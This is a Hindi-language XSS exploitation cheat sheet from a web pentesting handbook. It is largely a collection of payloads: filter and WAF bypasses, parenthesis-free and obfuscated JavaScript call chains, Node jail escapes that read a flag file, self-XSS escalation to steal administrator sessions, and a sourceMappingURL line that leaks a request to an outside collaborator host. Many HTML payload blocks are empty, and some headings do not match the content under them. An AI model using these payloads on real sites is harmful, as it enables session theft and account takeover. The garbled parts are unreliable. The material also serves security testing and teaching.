# XSS (क्रॉस साइट स्क्रिप्टिंग) ## कार्यप्रणाली 1. जांचें कि **कोई भी मान जिसे आप नियंत्रित करते हैं** (_पैरामीटर_, _पथ_, _हेडर_?, _कुकीज़_?) **HTML में परिलक्षित** हो रहा है या **JS** कोड द्वारा **उपयोग किया जा रहा है**। 2. **संदर्भ खोजें** जहां यह परिलक्षित/उपयोग किया जा रहा है। 3. यदि **परिलक्षित** है: 1. जांचें **आप कौन से प्रतीकों का उपयोग कर सकते हैं** और उसके आधार पर, पेलोड तैयार करें: 1. **कच्चे HTML** में: 1. क्या आप नए HTML टैग बना सकते हैं? 2. क्या आप `javascript:` प्रोटोकॉल का समर्थन करने वाले इवेंट या विशेषताएँ उपयोग कर सकते हैं? 3. क्या आप सुरक्षा को बायपास कर सकते हैं? 4. क्या HTML सामग्री को किसी क्लाइंट साइड JS इंजन (_AngularJS_, _VueJS_, _Mavo_...) द्वारा व्याख्यायित किया जा रहा है, आप [**क्लाइंट साइड टेम्पलेट इंजेक्शन**](../client-side-template-injection-csti.md) का दुरुपयोग कर सकते हैं। 5. यदि आप JS कोड निष्पादित करने वाले HTML टैग नहीं बना सकते हैं, तो क्या आप [**डैंगलिंग मार्कअप - HTML स्क्रिप्टलेस इंजेक्शन**](../dangling-markup-html-scriptless-injection/) का दुरुपयोग कर सकते हैं? 2. एक **HTML टैग** के अंदर: 1. क्या आप कच्चे HTML संदर्भ में बाहर निकल सकते हैं? 2. क्या आप JS कोड निष्पादित करने के लिए नए इवेंट/विशेषताएँ बना सकते हैं? 3. क्या उस विशेषता में जहां आप फंसे हैं, JS निष्पादन का समर्थन है? 4. क्या आप सुरक्षा को बायपास कर सकते हैं? 3. **JavaScript कोड** के अंदर: 1. क्या आप ``** टैग के बीच, एक HTML पृष्ठ के अंदर, एक `.js` फ़ाइल के अंदर या एक विशेषता के अंदर **`javascript:`** प्रोटोकॉल का उपयोग करके परिलक्षित होता है: - यदि यह **``** टैग के बीच परिलक्षित होता है, तो भले ही आपका इनपुट किसी भी प्रकार के उद्धरण के अंदर हो, आप `` को इंजेक्ट करने और इस संदर्भ से बाहर निकलने का प्रयास कर सकते हैं। यह काम करता है क्योंकि **ब्राउज़र पहले HTML टैग को पार्स करेगा** और फिर सामग्री को, इसलिए यह नहीं देखेगा कि आपका इंजेक्ट किया गया `` टैग HTML कोड के अंदर है। - यदि यह **JS स्ट्रिंग के अंदर** परिलक्षित होता है और अंतिम ट्रिक काम नहीं कर रही है, तो आपको स्ट्रिंग से **बाहर निकलने**, अपने कोड को **निष्पादित करने** और JS कोड को **पुनर्निर्माण** करने की आवश्यकता होगी (यदि कोई त्रुटि है, तो इसे निष्पादित नहीं किया जाएगा): - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` - यदि यह टेम्पलेट लिटेरल के अंदर परिलक्षित होता है, तो आप `${ ... }` सिंटैक्स का उपयोग करके **JS एक्सप्रेशंस** को **एंबेड** कर सकते हैं: `` var greetings = `Hello, ${alert(1)}` `` - **Unicode encode** **मान्य javascript code** लिखने के लिए काम करता है: ```javascript alert(1) alert(1) alert(1) ``` #### Javascript Hoisting Javascript Hoisting का मतलब है **फंक्शन्स, वेरिएबल्स या क्लासेस को उनके उपयोग के बाद घोषित करने का अवसर, ताकि आप उन परिदृश्यों का दुरुपयोग कर सकें जहाँ XSS अघोषित वेरिएबल्स या फंक्शन्स का उपयोग कर रहा है।**\ **अधिक जानकारी के लिए निम्नलिखित पृष्ठ देखें:** {{#ref}} js-hoisting.md {{#endref}} ### Javascript Function कई वेब पृष्ठों में ऐसे एंडपॉइंट होते हैं जो **कार्यक्रम को निष्पादित करने के लिए फंक्शन का नाम पैरामीटर के रूप में स्वीकार करते हैं।** एक सामान्य उदाहरण जो वास्तविक जीवन में देखने को मिलता है वह है: `?callback=callbackFunc`. यह पता लगाने का एक अच्छा तरीका है कि क्या उपयोगकर्ता द्वारा सीधे दिया गया कुछ निष्पादित करने की कोशिश कर रहा है, **पैरामीटर मान को संशोधित करना** (उदाहरण के लिए 'Vulnerable' में) और कंसोल में त्रुटियों की तलाश करना जैसे: ![](<../../images/image (711).png>) यदि यह संवेदनशील है, तो आप केवल मान भेजकर **एक अलर्ट ट्रिगर** कर सकते हैं: **`?callback=alert(1)`**। हालाँकि, यह बहुत सामान्य है कि ये एंडपॉइंट्स **सामग्री को मान्य करेंगे** ताकि केवल अक्षरों, संख्याओं, बिंदुओं और अंडरस्कोर की अनुमति दी जा सके (**`[\w\._]`**). हालांकि, इस सीमा के बावजूद कुछ क्रियाएँ करना अभी भी संभव है। इसका कारण यह है कि आप उन मान्य वर्णों का उपयोग करके **DOM में किसी भी तत्व तक पहुँच सकते हैं**: ![](<../../images/image (747).png>) इसके लिए कुछ उपयोगी फंक्शन्स: ``` firstElementChild lastElementChild nextElementSibiling lastElementSibiling parentElement ``` आप सीधे **Javascript फ़ंक्शंस** को भी **ट्रिगर** करने की कोशिश कर सकते हैं: `obj.sales.delOrders`। हालांकि, आमतौर पर निर्दिष्ट फ़ंक्शन को निष्पादित करने वाले एंडपॉइंट्स ऐसे एंडपॉइंट्स होते हैं जिनमें ज्यादा दिलचस्प DOM नहीं होता है, **समान मूल के अन्य पृष्ठों** में **ज्यादा दिलचस्प DOM** होगा ताकि अधिक क्रियाएँ की जा सकें। इसलिए, **विभिन्न DOM में इस कमजोरियों का दुरुपयोग करने के लिए** **Same Origin Method Execution (SOME)** शोषण विकसित किया गया: {{#ref}} some-same-origin-method-execution.md {{#endref}} ### DOM यहाँ **JS कोड** है जो **असुरक्षित** तरीके से कुछ **हमलावर द्वारा नियंत्रित डेटा** का उपयोग कर रहा है जैसे `location.href`। एक हमलावर, इसे मनमाने JS कोड को निष्पादित करने के लिए दुरुपयोग कर सकता है। {{#ref}} dom-xss.md {{#endref}} ### **Universal XSS** इस प्रकार के XSS **कहीं भी** पाए जा सकते हैं। ये केवल एक वेब एप्लिकेशन के क्लाइंट शोषण पर निर्भर नहीं करते बल्कि **किसी भी** **संदर्भ** पर निर्भर करते हैं। इस प्रकार के **मनमाने JavaScript निष्पादन** का दुरुपयोग **RCE** प्राप्त करने, **क्लाइंट्स और सर्वर्स में मनमाने फ़ाइलों को पढ़ने**, और अधिक के लिए भी किया जा सकता है।\ कुछ **उदाहरण**: {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} {{#ref}} ../../network-services-pentesting/pentesting-web/electron-desktop-apps/ {{#endref}} ## WAF बायपास एन्कोडिंग इमेज ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>) ## कच्चे HTML के अंदर इंजेक्ट करना जब आपका इनपुट **HTML पृष्ठ के अंदर** परिलक्षित होता है या आप इस संदर्भ में HTML कोड को बचा सकते हैं और इंजेक्ट कर सकते हैं, तो **पहली** चीज़ जो आपको करनी चाहिए वह यह है कि आप जांचें कि क्या आप `<` का दुरुपयोग करके नए टैग बना सकते हैं: बस उस **चर** को **परिलक्षित** करने की कोशिश करें और जांचें कि क्या इसे **HTML एन्कोडेड** किया गया है या **हटाया** गया है या यदि यह **बिना बदलाव के परिलक्षित** हो रहा है। **केवल अंतिम मामले में आप इस मामले का शोषण कर पाएंगे**।\ इन मामलों के लिए भी **याद रखें** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**।**\ &#xNAN;_**नोट: एक HTML टिप्पणी को बंद किया जा सकता है\*\*\*\*\*\*** \***\*`-->`\*\*** \***\*या \*\*\*\*\*\***`--!>`\*\**_ इस मामले में और यदि कोई ब्लैक/व्हाइटलिस्टिंग का उपयोग नहीं किया गया है, तो आप ऐसे पे लोड का उपयोग कर सकते हैं: ```html ``` लेकिन, यदि टैग/विशेषताएँ काली/सफेद सूचीकरण का उपयोग कर रही हैं, तो आपको **यह पता लगाने के लिए ब्रूट-फोर्स करना होगा कि कौन से टैग** आप बना सकते हैं।\ एक बार जब आप **यह पता लगा लेते हैं कि कौन से टैग अनुमत हैं**, तो आपको **पाए गए मान्य टैग के अंदर विशेषताएँ/इवेंट्स** के लिए ब्रूट-फोर्स करना होगा ताकि आप यह देख सकें कि आप संदर्भ पर कैसे हमला कर सकते हैं। ### टैग/इवेंट्स ब्रूट-फोर्स जाएँ [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) और _**क्लिपबोर्ड में टैग कॉपी करें**_ पर क्लिक करें। फिर, सभी को Burp intruder का उपयोग करके भेजें और जांचें कि क्या कोई टैग WAF द्वारा दुर्भावनापूर्ण के रूप में नहीं खोजा गया। एक बार जब आप यह पता लगा लेते हैं कि आप कौन से टैग का उपयोग कर सकते हैं, तो आप **सभी इवेंट्स के लिए ब्रूट फोर्स कर सकते हैं** मान्य टैग का उपयोग करके (एक ही वेब पृष्ठ पर _**क्लिपबोर्ड में इवेंट्स कॉपी करें**_ पर क्लिक करें और पहले की तरह ही प्रक्रिया का पालन करें)। ### कस्टम टैग यदि आप कोई मान्य HTML टैग नहीं पाते हैं, तो आप **एक कस्टम टैग बनाने** और `onfocus` विशेषता के साथ JS कोड निष्पादित करने का प्रयास कर सकते हैं। XSS अनुरोध में, आपको URL को `#` के साथ समाप्त करना होगा ताकि पृष्ठ **उस वस्तु पर ध्यान केंद्रित करे** और **कोड** निष्पादित करे: ``` /?search=#x ``` ### ब्लैकलिस्ट बाईपास यदि किसी प्रकार की ब्लैकलिस्ट का उपयोग किया जा रहा है, तो आप कुछ बेवकूफी भरे ट्रिक्स के साथ इसे बाईपास करने की कोशिश कर सकते हैं: ```javascript //Random capitalization alert(1) //Not closing tag, ending with " <" or " //" //Special cases .//https://github.com/evilcos/xss.swf //https://github.com/evilcos/xss.swf ``` ध्यान दें कि यदि आप किसी भी क्रम में **URLencode + HTMLencode** का **उपयोग** करने की कोशिश करते हैं तो यह **काम नहीं करेगा**, लेकिन आप **payload के अंदर उन्हें मिला सकते हैं**। **`javascript:` के साथ Hex और Octal encode का उपयोग करना** आप **Hex** और **Octal encode** का उपयोग `iframe` के `src` गुण के अंदर (कम से कम) **JS निष्पादित करने के लिए HTML टैग घोषित करने** के लिए कर सकते हैं: ```javascript //Encoded: // This WORKS //Encoded: alert(1) // This doesn't work ``` ### रिवर्स टैब नबिंग ```javascript //No safari //chars allowed between the onevent and the "=" IExplorer: %09 %0B %0C %020 %3B Chrome: %09 %20 %28 %2C %3B Safari: %2C %3B Firefox: %09 %20 %28 %2C %3B Opera: %09 %20 %2C %3B Android: %09 %20 %28 %2C %3B ``` ### XSS in "Unexploitable tags" (hidden input, link, canonical, meta) From [**यहां**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **अब छिपे हुए इनपुट का दुरुपयोग करना संभव है:** ```html ``` और **मेटा टैग्स** में: ```html
Newsletter popup
``` [**यहाँ**](https://portswigger.net/research/xss-in-hidden-input-fields) से: आप एक **छिपे हुए विशेषता** के अंदर **XSS पेलोड** निष्पादित कर सकते हैं, बशर्ते कि आप **शिकार** को **की संयोजन** दबाने के लिए **राजी** कर सकें। Firefox Windows/Linux पर की संयोजन **ALT+SHIFT+X** है और OS X पर यह **CTRL+ALT+X** है। आप एक्सेस की विशेषता में एक अलग कुंजी का उपयोग करके एक अलग की संयोजन निर्दिष्ट कर सकते हैं। यहाँ वेक्टर है: ```markup ``` **XSS पेलोड कुछ इस तरह होगा: `" accesskey="x" onclick="alert(1)" x="`** ### ब्लैकलिस्ट बायपास इस अनुभाग में विभिन्न एन्कोडिंग का उपयोग करने के कई ट्रिक्स पहले ही उजागर किए जा चुके हैं। **वापस जाएं और सीखें कि आप कहां उपयोग कर सकते हैं:** - **HTML एन्कोडिंग (HTML टैग)** - **यूनिकोड एन्कोडिंग (मान्य JS कोड हो सकता है):** `\u0061lert(1)` - **URL एन्कोडिंग** - **हैक्स और ऑक्टल एन्कोडिंग** - **डेटा एन्कोडिंग** **HTML टैग और विशेषताओं के लिए बायपास** [पिछले अनुभाग के ब्लैकलिस्ट बायपास पढ़ें](./#blacklist-bypasses). **जावास्क्रिप्ट कोड के लिए बायपास** [अगले अनुभाग के जावास्क्रिप्ट बायपास ब्लैकलिस्ट पढ़ें](./#javascript-bypass-blacklists-techniques). ### CSS-गैजेट्स यदि आपने वेब के एक **बहुत छोटे हिस्से** में **XSS** पाया है जो किसी प्रकार की इंटरैक्शन की आवश्यकता है (शायद फुटर में एक छोटा लिंक जिसमें एक onmouseover तत्व है), तो आप उस तत्व द्वारा कब्जा किए गए स्थान को **संशोधित करने** की कोशिश कर सकते हैं ताकि लिंक के सक्रिय होने की संभावनाओं को अधिकतम किया जा सके। उदाहरण के लिए, आप तत्व में कुछ स्टाइलिंग जोड़ सकते हैं जैसे: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` लेकिन, यदि WAF स्टाइल विशेषता को फ़िल्टर कर रहा है, तो आप CSS स्टाइलिंग गैजेट्स का उपयोग कर सकते हैं, इसलिए यदि आप, उदाहरण के लिए, पाते हैं > .test {display:block; color: blue; width: 100%\} और > \#someid {top: 0; font-family: Tahoma;} अब आप हमारे लिंक को संशोधित कर सकते हैं और इसे इस रूप में ला सकते हैं > \ यह ट्रिक [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703) से ली गई थी ## जावास्क्रिप्ट कोड के अंदर इंजेक्ट करना इन मामलों में आपका **इनपुट** **JS कोड** के एक `.js` फ़ाइल या `` टैग के बीच या HTML इवेंट के बीच जो JS कोड को निष्पादित कर सकते हैं या उन विशेषताओं के बीच जो `javascript:` प्रोटोकॉल को स्वीकार करते हैं, में **प्रतिबिंबित** होने जा रहा है। ### \` के भीतर डाला गया है, तो आप आसानी से ` ``` ध्यान दें कि इस उदाहरण में हमने **एकल उद्धरण को भी बंद नहीं किया है**। इसका कारण यह है कि **HTML पार्सिंग पहले ब्राउज़र द्वारा की जाती है**, जिसमें पृष्ठ तत्वों की पहचान करना शामिल है, जिसमें स्क्रिप्ट के ब्लॉक भी शामिल हैं। JavaScript का पार्सिंग, अंतर्निहित स्क्रिप्ट को समझने और निष्पादित करने के लिए, केवल बाद में किया जाता है। ### JS कोड के अंदर यदि `<>` को साफ किया जा रहा है, तो आप अभी भी **स्ट्रिंग को एस्केप** कर सकते हैं जहां आपका इनपुट **स्थित** है और **मनमाने JS को निष्पादित** कर सकते हैं। **JS सिंटैक्स को ठीक करना** महत्वपूर्ण है, क्योंकि यदि कोई त्रुटियाँ हैं, तो JS कोड निष्पादित नहीं होगा: ``` '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` ### Template literals \`\` **स्ट्रिंग्स** को बनाने के लिए, एकल और दोहरे उद्धरणों के अलावा, JS **बैकटिक्स** **` `` `** को भी स्वीकार करता है। इसे टेम्पलेट लिटेरल कहा जाता है क्योंकि यह `${ ... }` सिंटैक्स का उपयोग करके **JS एक्सप्रेशंस** को **एंबेड** करने की अनुमति देता है।\ इसलिए, यदि आप पाते हैं कि आपका इनपुट एक JS स्ट्रिंग के अंदर **रिफ्लेक्ट** हो रहा है जो बैकटिक्स का उपयोग कर रहा है, तो आप **मनमाने JS कोड** को निष्पादित करने के लिए `${ ... }` सिंटैक्स का दुरुपयोग कर सकते हैं: इसका **दुरुपयोग** किया जा सकता है: ```javascript ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}` ``` ```````````````javascript // This is valid JS code, because each time the function returns itself it's recalled with `` function loop() { return loop } loop`````````````` ``````````````` ### एन्कोडेड कोड निष्पादन ```markup ``` **एक टिप्पणी के अंदर जावास्क्रिप्ट** ```javascript //If you can only inject inside a JS comment, you can still leak something //If the user opens DevTools request to the indicated sourceMappingURL will be send //# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com ``` **बिना कोष्ठक के JavaScript** ````javascript // By setting location window.location='javascript:alert\x281\x29' x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x // or any DOMXSS sink such as location=name // Backtips // Backtips pass the string as an array of lenght 1 alert`1` // Backtips + Tagged Templates + call/apply eval`alert\x281\x29` // This won't work as it will just return the passed array setTimeout`alert\x281\x29` eval.call`${'alert\x281\x29'}` eval.apply`${[`alert\x281\x29`]}` [].sort.call`${alert}1337` [].map.call`${eval}\\u{61}lert\x281337\x29` // To pass several arguments you can use function btt(){ console.log(arguments); } btt`${'arg1'}${'arg2'}${'arg3'}` //It's possible to construct a function and call it Function`x${'alert(1337)'}x``` // .replace can use regexes and call a function if something is found "a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a," "a".replace.call`1${/./}${alert}` // This happened in the previous example // Change "this" value of call to "1," // match anything with regex /./ // call alert with "1" "a".replace.call`1337${/..../}${alert}` //alert with 1337 instead // Using Reflect.apply to call any function with any argumnets Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function. Reflect.apply.call`${navigation.navigate}${navigation}${[name]}` // Using Reflect.set to call set any value to a variable Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third. // valueOf, toString // These operations are called when the object is used as a primitive // Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used valueOf=alert;window+'' toString=alert;window+'' // Error handler window.onerror=eval;throw"=alert\x281\x29"; onerror=eval;throw"=alert\x281\x29"; {onerror=eval}throw"=alert(1)" //No ";" onerror=alert //No ";" using new line throw 1337 // Error handler + Special unicode separators eval("onerror=\u2028alert\u2029throw 1337"); // Error handler + Comma separator // The comma separator goes through the list and returns only the last element var a = (1,2,3,4,5,6) // a = 6 throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert throw onerror=alert,1,1,1,1,1,1337 // optional exception variables inside a catch clause. try{throw onerror=alert}catch{throw 1} // Has instance symbol 'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval} 'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval} // The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol. ```` - [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) - [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) **मनमाने फ़ंक्शन (अलर्ट) कॉल** ````javascript //Eval like functions eval('ale'+'rt(1)') setTimeout('ale'+'rt(2)'); setInterval('ale'+'rt(10)'); Function('ale'+'rt(10)')``; [].constructor.constructor("alert(document.domain)")`` []["constructor"]["constructor"]`$${alert()}``` import('data:text/javascript,alert(1)') //General function executions `` //Can be use as parenthesis alert`document.cookie` alert(document['cookie']) with(document)alert(cookie) (alert)(1) (alert(1))in"." a=alert,a(1) [1].find(alert) window['alert'](0) parent['alert'](1) self['alert'](2) top['alert'](3) this['alert'](4) frames['alert'](5) content['alert'](6) [7].map(alert) [8].find(alert) [9].every(alert) [10].filter(alert) [11].findIndex(alert) [12].forEach(alert); top[/al/.source+/ert/.source](1) top[8680439..toString(30)](1) Function("ale"+"rt(1)")(); new Function`al\ert\`6\``; Set.constructor('ale'+'rt(13)')(); Set.constructor`al\x65rt\x2814\x29```; $='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y) x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y)) this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array) globalThis[`al`+/ert/.source]`1` this[`al`+/ert/.source]`1` [alert][0].call(this,1) window['a'+'l'+'e'+'r'+'t']() window['a'+'l'+'e'+'r'+'t'].call(this,1) top['a'+'l'+'e'+'r'+'t'].apply(this,[1]) (1,2,3,4,5,6,7,8,alert)(1) x=alert,x(1) [1].find(alert) top["al"+"ert"](1) top[/al/.source+/ert/.source](1) al\u0065rt(1) al\u0065rt`1` top['al\145rt'](1) top['al\x65rt'](1) top[8680439..toString(30)](1) ```` ## **DOM कमजोरियाँ** यहाँ **JS कोड** है जो **एक हमलावर द्वारा नियंत्रित असुरक्षित डेटा** का उपयोग कर रहा है जैसे `location.href`। एक हमलावर, इसे मनमाने JS कोड को निष्पादित करने के लिए दुरुपयोग कर सकता है।\ **DOM कमजोरियों के विस्तृत विवरण के कारण इसे इस पृष्ठ पर स्थानांतरित किया गया है** [**DOM कमजोरियों के बारे में**](dom-xss.md)**:** {{#ref}} dom-xss.md {{#endref}} वहाँ आपको **यहाँ DOM कमजोरियाँ क्या हैं, ये कैसे उत्पन्न होती हैं, और इन्हें कैसे शोषण किया जा सकता है** का विस्तृत **व्याख्या** मिलेगी।\ इसके अलावा, यह न भूलें कि **उल्लेखित पोस्ट के अंत में** आप [**DOM क्लॉबरिंग हमलों**](dom-xss.md#dom-clobbering) के बारे में एक व्याख्या पा सकते हैं। ### Self-XSS को अपग्रेड करना ### कुकी XSS यदि आप एक कुकी के अंदर पेलोड भेजकर XSS को ट्रिगर कर सकते हैं, तो यह आमतौर पर एक self-XSS है। हालाँकि, यदि आप XSS के लिए **कमजोर उपडोमेन** पाते हैं, तो आप इस XSS का दुरुपयोग करके पूरे डोमेन में एक कुकी इंजेक्ट कर सकते हैं जिससे मुख्य डोमेन या अन्य उपडोमेनों (जो कुकी XSS के लिए कमजोर हैं) में कुकी XSS को ट्रिगर किया जा सके। इसके लिए आप कुकी टॉसिंग हमले का उपयोग कर सकते हैं: {{#ref}} ../hacking-with-cookies/cookie-tossing.md {{#endref}} आप इस तकनीक का एक बड़ा दुरुपयोग [**इस ब्लॉग पोस्ट में**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) पा सकते हैं। ### अपने सत्र को व्यवस्थापक को भेजना शायद एक उपयोगकर्ता अपने प्रोफ़ाइल को व्यवस्थापक के साथ साझा कर सकता है और यदि self XSS उपयोगकर्ता के प्रोफ़ाइल के अंदर है और व्यवस्थापक इसे एक्सेस करता है, तो वह कमजोरियों को ट्रिगर करेगा। ### सत्र मिररिंग यदि आप कुछ self XSS पाते हैं और वेब पृष्ठ में **व्यवस्थापकों के लिए सत्र मिररिंग** है, उदाहरण के लिए ग्राहकों को मदद मांगने की अनुमति देना और व्यवस्थापक आपकी मदद करने के लिए आपके सत्र में जो आप देख रहे हैं उसे देखेगा लेकिन अपने सत्र से। आप **व्यवस्थापक को आपके self XSS को ट्रिगर करने** और उसकी कुकीज़/सत्र चुराने के लिए मजबूर कर सकते हैं। ## अन्य बायपास ### सामान्यीकृत यूनिकोड आप यह जांच सकते हैं कि **प्रतिबिंबित मान** सर्वर (या क्लाइंट साइड) में **यूनिकोड सामान्यीकृत** हो रहे हैं और इस कार्यक्षमता का दुरुपयोग करके सुरक्षा को बायपास कर सकते हैं। [**यहाँ एक उदाहरण खोजें**](../unicode-injection/#xss-cross-site-scripting)। ### PHP FILTER_VALIDATE_EMAIL ध्वज बायपास ```javascript ">"@x.y ``` ### Ruby-On-Rails बायपास **RoR मास असाइनमेंट** के कारण HTML में उद्धरण डाले जाते हैं और फिर उद्धरण प्रतिबंध को बायपास किया जाता है और अतिरिक्त फ़ील्ड (onfocus) टैग के अंदर जोड़े जा सकते हैं।\ फॉर्म उदाहरण ([इस रिपोर्ट से](https://hackerone.com/reports/709336)), यदि आप पेलोड भेजते हैं: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` जोड़ी "Key","Value" इस तरह से वापस दिखाई देगी: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` फिर, onfocus विशेषता डाली जाएगी और XSS होता है। ### विशेष संयोजन ```markup alert(1) alert('XSS') < < String.fromCharCode(88,83,83) \"/\"src=\"/\"onerror=eval(id) (function(x){this[x+`ert`](1)})`al` window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) ``` ### XSS with header injection in a 302 response यदि आप पाते हैं कि आप **302 Redirect प्रतिक्रिया में हेडर इंजेक्ट कर सकते हैं** तो आप **ब्राउज़र को मनमाना JavaScript निष्पादित करने** के लिए प्रयास कर सकते हैं। यह **सरल नहीं है** क्योंकि आधुनिक ब्राउज़र HTTP प्रतिक्रिया स्थिति कोड 302 होने पर HTTP प्रतिक्रिया शरीर को व्याख्यायित नहीं करते हैं, इसलिए केवल एक क्रॉस-साइट स्क्रिप्टिंग पेलोड बेकार है। [**इस रिपोर्ट**](https://www.gremwell.com/firefox-xss-302) और [**इस एक**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) में आप पढ़ सकते हैं कि आप कैसे स्थान हेडर के अंदर कई प्रोटोकॉल का परीक्षण कर सकते हैं और देख सकते हैं कि क्या इनमें से कोई भी ब्राउज़र को XSS पेलोड को शरीर के अंदर निरीक्षण और निष्पादित करने की अनुमति देता है।\ पिछले ज्ञात प्रोटोकॉल: `mailto://`, `//x:1/`, `ws://`, `wss://`, _खाली स्थान हेडर_, `resource://`। ### केवल अक्षर, संख्या और बिंदु यदि आप यह संकेत देने में सक्षम हैं कि JavaScript **निष्पादित** होने वाला **callback** उन वर्णों तक सीमित है। [**इस पोस्ट के इस अनुभाग को पढ़ें**](./#javascript-function) यह जानने के लिए कि इस व्यवहार का दुरुपयोग कैसे करें। ### XSS के लिए मान्य ` ``` - **module** (डिफ़ॉल्ट, समझाने के लिए कुछ नहीं) - [**webbundle**](https://web.dev/web-bundles/): Web Bundles एक विशेषता है जिससे आप डेटा (HTML, CSS, JS…) को एक साथ **`.wbn`** फ़ाइल में पैकेज कर सकते हैं। ```html The resources are loaded from the source .wbn, not accessed via HTTP ``` - [**importmap**](https://github.com/WICG/import-maps)**:** आयात सिंटैक्स में सुधार करने की अनुमति देता है ```html ``` इस व्यवहार का उपयोग [**इस लेख**](https://github.com/zwade/yaca/tree/master/solution) में एक पुस्तकालय को eval पर पुनः मैप करने के लिए किया गया था ताकि इसका दुरुपयोग किया जा सके, यह XSS को ट्रिगर कर सकता है। - [**speculationrules**](https://github.com/WICG/nav-speculation)**:** यह सुविधा मुख्य रूप से प्री-रेंडरिंग के कारण उत्पन्न कुछ समस्याओं को हल करने के लिए है। यह इस तरह काम करता है: ```html ``` ### Web Content-Types to XSS (From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) निम्नलिखित सामग्री प्रकार सभी ब्राउज़रों में XSS निष्पादित कर सकते हैं: - text/html - application/xhtml+xml - application/xml - text/xml - image/svg+xml - text/plain (?? सूची में नहीं है लेकिन मुझे लगता है कि मैंने इसे CTF में देखा) - application/rss+xml (off) - application/atom+xml (off) अन्य ब्राउज़रों में अन्य **`Content-Types`** का उपयोग मनमाना JS निष्पादित करने के लिए किया जा सकता है, जांचें: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) ### xml Content Type यदि पृष्ठ एक text/xml सामग्री प्रकार वापस कर रहा है तो यह एक namespace निर्दिष्ट करना और मनमाना JS निष्पादित करना संभव है: ```xml hello ``` ### विशेष प्रतिस्थापन पैटर्न जब कुछ इस तरह का **`"some {{template}} data".replace("{{template}}", )`** उपयोग किया जाता है। हमलावर [**विशेष स्ट्रिंग प्रतिस्थापन**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) का उपयोग करके कुछ सुरक्षा उपायों को बायपास करने की कोशिश कर सकता है: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` उदाहरण के लिए [**इस लेख**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) में, इसका उपयोग **एक स्क्रिप्ट के अंदर JSON स्ट्रिंग को स्केप करने** और मनमानी कोड को निष्पादित करने के लिए किया गया था। ### क्रोम कैश से XSS {{#ref}} chrome-cache-to-xss.md {{#endref}} ### XS जेल से भागना यदि आपके पास उपयोग करने के लिए केवल सीमित सेट के अक्षर हैं, तो XSJail समस्याओं के लिए इन अन्य वैध समाधानों की जांच करें: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/)) // use of with with(console)log(123) with(/console.log(1)/)with(this)with(constructor)constructor(source)() // Just replace console.log(1) to the real code, the code we want to run is: //return String(process.mainModule.require('fs').readFileSync('flag.txt')) with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt'))) with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n))) with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n))) //Final solution with( /with(String) with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process) with(mainModule) with(require(k)) return(String(readFileSync(n))) /) with(this) with(constructor) constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` यदि **सब कुछ अपरिभाषित है** अविश्वसनीय कोड निष्पादित करने से पहले (जैसे [**इस 